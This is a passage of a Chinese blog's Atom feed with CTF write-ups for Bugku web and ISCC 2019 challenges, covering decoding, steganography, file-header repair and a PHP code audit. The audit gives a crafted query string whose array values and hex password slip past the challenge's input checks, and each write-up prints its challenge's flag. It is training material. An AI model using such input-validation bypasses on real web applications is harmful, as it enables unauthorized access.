    <content type="html"><![CDATA[<h1 id="web基础-POST"><a href="#web基础-POST" class="headerlink" title="web基础$_POST"></a><strong>web基础$_POST</strong></h1><a id="more"></a><p><img src="http://i2.tiimg.com/702861/ea308ca1098b2e02.png" alt="1"></p><p>本题为POST传参，使用HackBar输出what=flag</p><p><img src="http://i2.tiimg.com/702861/b9a82035be2c5648.png" alt="2"></p><p>得到flagflag{bugku_get_ssseint67se}</p>]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;web基础-POST&quot;&gt;&lt;a href=&quot;#web基础-POST&quot; class=&quot;headerlink&quot; title=&quot;web基础$_POST&quot;&gt;&lt;/a&gt;&lt;strong&gt;web基础$_POST&lt;/strong&gt;&lt;/h1&gt;
    
    </summary>
    
      <category term="Bugku CTF web" scheme="http://yoursite.com/categories/Bugku-CTF-web/"/>
    
    
      <category term="CTF" scheme="http://yoursite.com/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>bugku_web_计算机</title>
    <link href="http://yoursite.com/2019/09/28/bugku-web-%E8%AE%A1%E7%AE%97%E6%9C%BA/"/>
    <id>http://yoursite.com/2019/09/28/bugku-web-计算机/</id>
    <published>2019-09-28T12:54:31.000Z</published>
    <updated>2019-11-03T13:29:05.955Z</updated>
    
    <content type="html"><![CDATA[<h1 id="计算机"><a href="#计算机" class="headerlink" title="计算机"></a><strong>计算机</strong></h1><a id="more"></a><p><img src="http://i1.fuimg.com/702861/7fece4fe0cfc1ab9.png" alt="1"></p><p>发现是一个计算题，当你输入值时，发现只能输一位数，打开开发人员工具，里面的maxlength值等于1，所以只能输一位数，我们可以在input里增加属性吧maxlength值改到100.</p><p><img src="http://i1.fuimg.com/702861/e5ae8ee80e9416c5.png" alt="2"></p><p>改好后，打题目的计算结果输入验证得到flag{CTF-bugku-0032}</p><p><img src="http://i1.fuimg.com/702861/94a258c643f9754b.png" alt="3"></p>]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;计算机&quot;&gt;&lt;a href=&quot;#计算机&quot; class=&quot;headerlink&quot; title=&quot;计算机&quot;&gt;&lt;/a&gt;&lt;strong&gt;计算机&lt;/strong&gt;&lt;/h1&gt;
    
    </summary>
    
      <category term="Bugku CTF web" scheme="http://yoursite.com/categories/Bugku-CTF-web/"/>
    
    
      <category term="CTF" scheme="http://yoursite.com/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>bugku_web_web2</title>
    <link href="http://yoursite.com/2019/09/28/bugku-web-web2/"/>
    <id>http://yoursite.com/2019/09/28/bugku-web-web2/</id>
    <published>2019-09-28T12:48:35.000Z</published>
    <updated>2019-11-02T12:18:40.363Z</updated>
    
    <content type="html"><![CDATA[<h1 id="web2"><a href="#web2" class="headerlink" title="web2"></a><strong>web2</strong></h1><a id="more"></a><p><img src="https://ftp.bmp.ovh/imgs/2019/10/5c56736317d8fe56.png" alt="1"></p><p>看题目提示，打开链接，出现一堆笑脸朝你奔来</p><p><img src="https://ftp.bmp.ovh/imgs/2019/10/f01fe77f9508ae48.png" alt="2"></p><p>单击右键查看源代码，发现了flag   KEY{Web-2-bugKssNNikls9100}</p><p><img src="https://ftp.bmp.ovh/imgs/2019/10/17607e18aaaf826b.png" alt="3"></p>]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;web2&quot;&gt;&lt;a href=&quot;#web2&quot; class=&quot;headerlink&quot; title=&quot;web2&quot;&gt;&lt;/a&gt;&lt;strong&gt;web2&lt;/strong&gt;&lt;/h1&gt;
    
    </summary>
    
      <category term="Bugku CTF web" scheme="http://yoursite.com/categories/Bugku-CTF-web/"/>
    
    
      <category term="CTF" scheme="http://yoursite.com/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>ISCC</title>
    <link href="http://yoursite.com/2019/06/13/ISCC-1/"/>
    <id>http://yoursite.com/2019/06/13/ISCC-1/</id>
    <published>2019-06-13T13:20:54.000Z</published>
    <updated>2019-11-03T10:38:48.360Z</updated>
    
    <content type="html"><![CDATA[<h1 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h1><a id="more"></a><p><img src="http://i2.tiimg.com/702861/af333573fc379385.png" alt="ISCC1"><br>将八进制的数转换成字符</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> <span class="built_in">std</span>;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">char</span> a[<span class="number">100</span>]=&#123;<span class="number">0126</span>,<span class="number">062</span>,<span class="number">0126</span>,<span class="number">0163</span>,<span class="number">0142</span>,<span class="number">0103</span>,<span class="number">0102</span>,<span class="number">0153</span>,<span class="number">0142</span>,<span class="number">062</span>,<span class="number">065</span>,<span class="number">0154</span>,<span class="number">0111</span>,<span class="number">0121</span>,<span class="number">0157</span>,<span class="number">0113</span>,<span class="number">0111</span>,</span><br><span class="line"> <span class="number">0105</span>,<span class="number">0132</span>,<span class="number">0163</span>,<span class="number">0131</span>,<span class="number">0127</span>,<span class="number">0143</span>,<span class="number">066</span>,<span class="number">0111</span>,<span class="number">0105</span>,<span class="number">0154</span>,<span class="number">0124</span>,<span class="number">0121</span>,<span class="number">060</span>,<span class="number">0116</span>,<span class="number">067</span>,<span class="number">0124</span>,<span class="number">0152</span>,<span class="number">0102</span>,<span class="number">0146</span>,<span class="number">0115</span>,</span><br><span class="line"><span class="number">0107</span>,<span class="number">065</span>,<span class="number">0154</span>,<span class="number">0130</span>,<span class="number">062</span>,<span class="number">0116</span>,<span class="number">0150</span>,<span class="number">0142</span>,<span class="number">0154</span>,<span class="number">071</span>,<span class="number">0172</span>,<span class="number">0144</span>,<span class="number">0104</span>,<span class="number">0102</span>,<span class="number">0167</span>,<span class="number">0130</span>,<span class="number">063</span>,<span class="number">0153</span>,<span class="number">0167</span>,<span class="number">0144</span>,</span><br><span class="line"><span class="number">0130</span>,<span class="number">060</span>,<span class="number">0113</span>&#125;;</span><br><span class="line"><span class="keyword">int</span> i;</span><br><span class="line"><span class="keyword">for</span>(i=<span class="number">0</span>;i&lt;<span class="number">60</span>;i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%c"</span>,a[i]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行结果：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">V2VsbCBkb25lIQoKIEZsYWc6IElTQ0N7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K</span><br></pre></td></tr></table></figure><p>再用base64来解密字符<br>Well done!</p><p> <strong>Flag: ISCC{N0_0ne_can_st0p_y0u}</strong></p><p><img src="http://i1.fuimg.com/702861/36c49f5ff0f38782.png" alt="img"></p><p>附件下载，打看文件夹看到一堆汉字，我们仔细观察可以发现规律中间有一个空格的和两个空格的</p><p><strong>使用c++编写程序把一个空格替换为0，两个空格替换为1</strong></p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> <span class="built_in">std</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> ch[]=<span class="string">"蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗</span></span><br><span class="line"><span class="string">    萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  </span></span><br><span class="line"><span class="string">    萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 </span></span><br><span class="line"><span class="string">    洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  </span></span><br><span class="line"><span class="string">    萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  </span></span><br><span class="line"><span class="string">    萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  </span></span><br><span class="line"><span class="string">    萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 </span></span><br><span class="line"><span class="string">    洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  </span></span><br><span class="line"><span class="string">    萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  </span></span><br><span class="line"><span class="string">    萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 </span></span><br><span class="line"><span class="string">    洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  </span></span><br><span class="line"><span class="string">    萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  </span></span><br><span class="line"><span class="string">    萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  </span></span><br><span class="line"><span class="string">    萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  </span></span><br><span class="line"><span class="string">    萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 </span></span><br><span class="line"><span class="string">    洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 </span></span><br><span class="line"><span class="string">    洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 </span></span><br><span class="line"><span class="string">    洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  </span></span><br><span class="line"><span class="string">    萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 </span></span><br><span class="line"><span class="string">    洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條"</span>;</span><br><span class="line"></span><br><span class="line">​<span class="keyword">char</span> \*p;</span><br><span class="line"></span><br><span class="line">​p=ch;</span><br><span class="line"></span><br><span class="line">​<span class="keyword">while</span>(\p!=<span class="string">'\0'</span>)</span><br><span class="line"></span><br><span class="line">​&#123;</span><br><span class="line"></span><br><span class="line">​<span class="keyword">if</span>(\*p==<span class="string">' '</span>)&#123;</span><br><span class="line"></span><br><span class="line">​<span class="keyword">if</span>(\(p+<span class="number">1</span>)==<span class="string">' '</span>)&#123;</span><br><span class="line"></span><br><span class="line">​<span class="built_in">cout</span>&lt;&lt;<span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">​p++;</span><br><span class="line"></span><br><span class="line">​&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"></span><br><span class="line">​<span class="built_in">cout</span>&lt;&lt;<span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">​&#125;</span><br><span class="line"></span><br><span class="line">​&#125;</span><br><span class="line"></span><br><span class="line">​p++;</span><br><span class="line"></span><br><span class="line">​&#125;</span><br><span class="line"></span><br><span class="line">​<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p><strong>使用转换工具将二进制转换成字符串</strong></p><p><img src="http://i1.fuimg.com/702861/a6d668e2ca8cf7b8.png" alt="img"></p><p><strong>可以得到flag{ISCC WELCOME}</strong></p><h1 id="倒立屋"><a href="#倒立屋" class="headerlink" title="倒立屋"></a><strong>倒立屋</strong></h1><p><img src="http://i1.fuimg.com/702861/c7200df745b42c81.png" alt="img"></p><p>打开附件进行解压缩得到一张图片，此时就想要尝试一下图片解密</p><p><img src="http://i2.tiimg.com/702861/ad7bfaa27fa6aa24.png" alt="img"></p><p>对于LSB隐写，我们可以使用Stegsolve工具</p><p>在工具中找到图片，并打开</p><p><img src="http://i1.fuimg.com/702861/c98ec756a960f479.png" alt="img"></p><p>打开后进行以下操作</p><p><img src="http://i2.tiimg.com/702861/391e87f64209373a.png" alt="img"></p><p>找和flag相似的句子，我们可以发现本题的flag就在开头，我们仔细读题会发现重力反转，我们把IsCc_2019反过来的<strong>9102_cCsI</strong>,这就是flag</p><p><img src="http://i2.tiimg.com/702861/ae2934de31ba4889.png" alt="img"></p><h1 id="他们能在一起吗？"><a href="#他们能在一起吗？" class="headerlink" title="他们能在一起吗？"></a><strong>他们能在一起吗？</strong></h1><p><img src="http://i2.tiimg.com/702861/631b7949cc046d0c.png" alt="img"></p><p><img src="http://i2.tiimg.com/702861/b1d9820579ffc810.png" alt="img"></p><p><code>UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q=</code></p><p>用base64解码</p><p>PASS{0K_I_L0V3_Y0u!}</p><p>可以去试一下提交，发现不对</p><p>我们把这个二维码保存到本地，我们右键单击二维码，在打开方式栏选择360压缩打开得到下图的txt文件，点击该文件把刚刚解密的解码0K_I_L0V3_Y0u!输进去，最后得到flag</p><p><img src="http://i2.tiimg.com/702861/11f3f9e848bf4b86.png" alt="img"></p><p><strong>ISCC{S0rrY_W3_4R3_Ju5T_Fr1END}</strong></p><h1 id="无法运行的exe"><a href="#无法运行的exe" class="headerlink" title="无法运行的exe"></a><strong>无法运行的exe</strong></h1><p><img src="http://i2.tiimg.com/702861/cacbdeee47363c47.png" alt="img"></p><p>附件下载该文件，进行解压，双击发现打不开</p><p><img src="http://i2.tiimg.com/702861/9df88ed49363dd63.png" alt="img"></p><p>我们首先在桌面上建立一个文本文档并打开，把runnable.exe拖拽到打开的新建文档中</p><p><img src="http://i2.tiimg.com/702861/7c04e1dcf582a30f.png" alt="img"></p><p>根据经验我们看开头的iVBORw0KGgAAAAA可以大概了解这是一张图片我们用base64图片在线转换工具上传一张类型为.png的图片会的解码为以“data:image/png;base64,”开头的编码因此我们tunnable.exe的编码加上前面这段编码点击Rase64还原图片</p><p><img src="http://i2.tiimg.com/702861/e2437d6c9ccd1ba5.png" alt="img"></p><p>我们右单击图片点查看图片信息，出现如下图点另存为</p><p><img src="http://i2.tiimg.com/702861/7ec7a7cf4013b3bd.png" alt="img"></p><p>使用WinHex打开另存为的图片，把图中的位置00改成0A，保存</p><p><img src="http://i2.tiimg.com/702861/3763f1674900ef90.png" alt="img"></p><p>png类型的图片的编码开头是固定的</p><p><img src="http://i2.tiimg.com/702861/764bdb244ccee017.png" alt="img"></p><p>弄好后右单击文件，点击打开方式选择画图，出现一个二维码，用手机扫描二维码得到flag</p><h1 id="Aesop’s-secret"><a href="#Aesop’s-secret" class="headerlink" title="Aesop’s secret"></a>Aesop’s secret</h1><p><img src="http://i2.tiimg.com/702861/5e4672d1b7f6a15d.png" alt="img"></p><p>附件下载好得到一张Aesop.gif的图片，我们首先在桌面上建立一个文本文档并打开，把Aesop.gif拖拽到打开的新建文档中，得到以下编码，通过观察我们可以知道在编码的最后面有以下蓝色的编码</p><p><img src="http://i2.tiimg.com/702861/8e41f3dc09a71173.png" alt="img"></p><p>使用在线加密解密工具对其进行解密</p><p><img src="http://i2.tiimg.com/702861/a1982b499281d694.png" alt="img"></p><p>得到的明文再一次的进行解密，最后得到flag{DDiamondADeepDarkMine}</p><p><img src="http://i2.tiimg.com/702861/8c119479d521ac6d.png" alt="img"></p><h1 id="碎纸机"><a href="#碎纸机" class="headerlink" title="碎纸机"></a><strong>碎纸机</strong></h1><p><img src="http://i2.tiimg.com/702861/b48d1de2671a243d.png" alt="img"></p><p>附件下载可以得到一张jpg图片</p><p><img src="http://i1.fuimg.com/702861/2de2d37894c64773.png" alt="img"></p><p>点击图片，单击右键选择打开方式，用360压缩文件打开，会得到几张jpg和一个redeme.txt</p><p><img src="http://i1.fuimg.com/702861/895f35b938b8c6b3.png" alt="img"></p><p>redeme.txt的内容为</p><p>碎纸机中居然是一堆黑色和白色的碎片，但是这些碎片之中到底会有什么样的宝藏呢？</p><p>我去问了欧鹏·曦文同学，他说他有办法恢复拼图原貌，但是前提是要我把真正有用的东西给他。</p><p>使用WinHex工具打开拼图，观察发现最后有一段被00包围的十六进制的编码</p><p><img src="http://i1.fuimg.com/702861/c3918265dca56c2a.png" alt="img"></p><p>把这段编码复制下来，步骤如下</p><p><img src="http://i1.fuimg.com/702861/70b2fb8b1a44d714.png" alt="img"></p><p>打开notepad++工具，把编码复制到里面去</p><p><img src="http://i1.fuimg.com/702861/7959777cec2ae5da.png" alt="img"></p><p>ctrl+F 打开查找快捷键，查找0的字符，把视图调为自动换行，即可得到</p><p><img src="http://i1.fuimg.com/702861/2f046ad1ac5b7435.png" alt="img"></p><p>对几幅图进行以上处理后得到 </p><p><strong>Flag={ISCC_is_so_interesting_!}</strong></p><h1 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a><strong>Reverse</strong></h1><p><img src="http://i1.fuimg.com/702861/6224f66720081b61.png" alt="img"></p><p>附件下载打开是一个rev2.exe文件点击会发现，要输入用户名和密码</p><p><img src="http://i1.fuimg.com/702861/93cbdf0107a989c4.png" alt="img"></p><p>我们首先在桌面上建立一个文本文档并打开，把rev2.exe拖拽到打开的新建文档中会出现下面的代码仔细观察代码找规律会发现flag</p><p><img src="http://i2.tiimg.com/702861/51a26bb30fc7a476.png" alt="img"></p><p><strong>flag{ST0RING_STAT1C_PA55WORDS_1N_FIL3S_1S_N0T_S3CUR3}</strong></p><h1 id="web1"><a href="#web1" class="headerlink" title="web1"></a><strong>web1</strong></h1><p><img src="http://i2.tiimg.com/702861/72c7239d5838bd6f.png" alt="img"></p><p><img src="http://i2.tiimg.com/702861/a9216c0a38a5b2ed.png" alt="img"></p><p>给出了一个PHP源代码  代码审计</p><p><img src="http://i2.tiimg.com/702861/fb5f7198eafc73a2.png" alt="img"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">error_reporting(<span class="number">0</span>);关闭错误报告</span><br><span class="line"></span><br><span class="line"><span class="keyword">require</span> <span class="string">'flag.php'</span>;</span><br><span class="line">    $value = $_GET[<span class="string">'value'</span>];</span><br><span class="line"></span><br><span class="line">$password = $_GET[<span class="string">'password'</span>];     GET传参</span><br><span class="line"></span><br><span class="line">$username = <span class="string">''</span>;  赋值</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; count($value); ++$i)  <span class="keyword">for</span>循环语句当$i&lt;count() 函数返回$value中元素的数目。</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ($value[$i] &gt; <span class="number">32</span> &amp;&amp; $value[$i] &lt; <span class="number">127</span>) <span class="keyword">unset</span>($value);如果数目在<span class="number">32</span>到<span class="number">127</span>则销毁$value</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span> $username .= chr($value[$i]);反则chr() 函数从指定 ASCII 值返回字符。（.=把右边的字串加到左边）</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ($username == <span class="string">'w3lc0me_To_ISCC2019'</span> &amp;&amp; intval($password) &lt; <span class="number">2333</span> &amp;&amp; intval($password + <span class="number">1</span>) &gt; <span class="number">2333</span>) &#123;<span class="keyword">echo</span> <span class="string">'Hello '</span>.$username.<span class="string">'!'</span>, <span class="string">'&lt;br&gt;'</span>, PHP_EOL;</span><br><span class="line"></span><br><span class="line">​        <span class="keyword">echo</span> $flag, <span class="string">'&lt;hr&gt;'</span>;</span><br></pre></td></tr></table></figure><p><img src="http://i2.tiimg.com/702861/99f65678344edaff.png" alt="img"></p><p>运行结果：<code>375307364355304365357351340367351329339323323306304305313</code></p><p>intval() 函数用于获取变量的整数值   </p><p>要满足intval($password) &lt; 2333 &amp;&amp; intval($password + 1) &gt; 2333  $username第一个字母w所对应的ascii码为119，在32-127范围内，因为chr()函数会自动进行mod256，所以可以传参119+256得到w，因为intval在如果参数是字符串，则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值，就返回0，所以令$password=0xaaaa，字符$password和数字相加$password会先转成数字则intval（$password)=0&lt;2333,inval($password)&gt;2333,输出flag  </p><p> ？<code>value[]=375&amp;value[]=307&amp;value[]=364&amp;value[]=355&amp;value[]=304&amp;value[]=365&amp;value[]=357&amp;value[]=351&amp;value[]=340&amp;value[]=367&amp;value[]=351&amp;value[]=329&amp;value[]=339&amp;value[]=323&amp;value[]=323&amp;value[]=306&amp;value[]=304&amp;value[]=305&amp;value[]=313&amp;password=0xaaaa</code></p><p>得到：Hello w3lc0me_To_ISCC2019!</p><p><strong>flag{8311873e241ccad54463eaa5d4efc1e9}</strong></p><h1 id="web4暂时未做出"><a href="#web4暂时未做出" class="headerlink" title="web4暂时未做出"></a><strong>web4</strong>暂时未做出</h1><p><img src="http://i2.tiimg.com/702861/b5bf86279fc02d1e.png" alt="img"></p><p>isset() — 检测变量是否设置</p><p>($_SERVER[‘REQUEST_URI’]);获取完整参数URL   parse_url()解析一个 URL 并返回一个关联数组，包含在 URL 中出现的各种组成部分</p><p>parse_str($query);将查询字符串解析到变量中</p><p>hash — 生成哈希值 ，要使用的哈希算法是sha256，来解析$key的值</p>]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;MISC&quot;&gt;&lt;a href=&quot;#MISC&quot; class=&quot;headerlink&quot; title=&quot;MISC&quot;&gt;&lt;/a&gt;MISC&lt;/h1&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="http://yoursite.com/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>Hello World</title>
    <link href="http://yoursite.com/2019/06/05/hello-world/"/>
    <id>http://yoursite.com/2019/06/05/hello-world/</id>
    <published>2019-06-05T13:25:55.972Z</published>
    <updated>2019-06-05T13:25:55.972Z</updated>
    
    <content type="html"><![CDATA[<p>Welcome to <a href="https://hexo.io/" target="_blank" rel="noopener">Hexo</a>! This is your very first post. Check <a href="https://hexo.io/docs/" target="_blank" rel="noopener">documentation</a> for more info. If you get any problems when using Hexo, you can find the answer in <a href="https://hexo.io/docs/troubleshooting.html" target="_blank" rel="noopener">troubleshooting</a> or you can ask me on <a href="https://github.com/hexojs/hexo/issues" target="_blank" rel="noopener">GitHub</a>.</p><h2 id="Quick-Start"><a href="#Quick-Start" class="headerlink" title="Quick Start"></a>Quick Start</h2><h3 id="Create-a-new-post"><a href="#Create-a-new-post" class="headerlink" title="Create a new post"></a>Create a new post</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo new <span class="string">"My New Post"</span></span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/writing.html" target="_blank" rel="noopener">Writing</a></p><h3 id="Run-server"><a href="#Run-server" class="headerlink" title="Run server"></a>Run server</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo server</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/server.html" target="_blank" rel="noopener">Server</a></p><h3 id="Generate-static-files"><a href="#Generate-static-files" class="headerlink" title="Generate static files"></a>Generate static files</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo generate</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/generating.html" target="_blank" rel="noopener">Generating</a></p><h3 id="Deploy-to-remote-sites"><a href="#Deploy-to-remote-sites" class="headerlink" title="Deploy to remote sites"></a>Deploy to remote sites</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo deploy</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/deployment.html" target="_blank" rel="noopener">Deployment</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;Welcome to &lt;a href=&quot;https://hexo.io/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hexo&lt;/a&gt;! This is your very first post. Check &lt;a href=&quot;https://hexo.
      
    
    </summary>
    
    
  </entry>
  
</feed>
